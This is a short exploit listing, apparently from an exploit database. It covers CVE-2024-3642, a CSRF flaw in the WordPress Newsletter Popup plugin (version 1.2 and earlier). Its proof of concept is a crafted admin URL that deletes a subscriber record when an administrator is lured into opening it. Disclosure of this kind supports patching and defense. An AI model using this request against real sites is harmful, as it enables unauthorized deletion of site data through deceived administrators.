Exploit for Newsletter Popup <= 1.2 - Subscriber Deletion via CSRF CVE-2024-3642

Name: Exploit for Newsletter Popup <= 1.2 - Subscriber Deletion via CSRF CVE-2024-3642
Rating: 5 (49 reviews)

2024-04-25 | CVSS 6.7

## https://sploitus.com/exploit?id=WPEX-ID:DC44D85F-AFE8-4824-95B0-11B9ABFB04D8
Make an admin open a link where `<RID>` is a valid user:

http://example.com/wp-admin/admin.php?page=wp_newsletter_show_localrecord&action=delete&rid=<RID>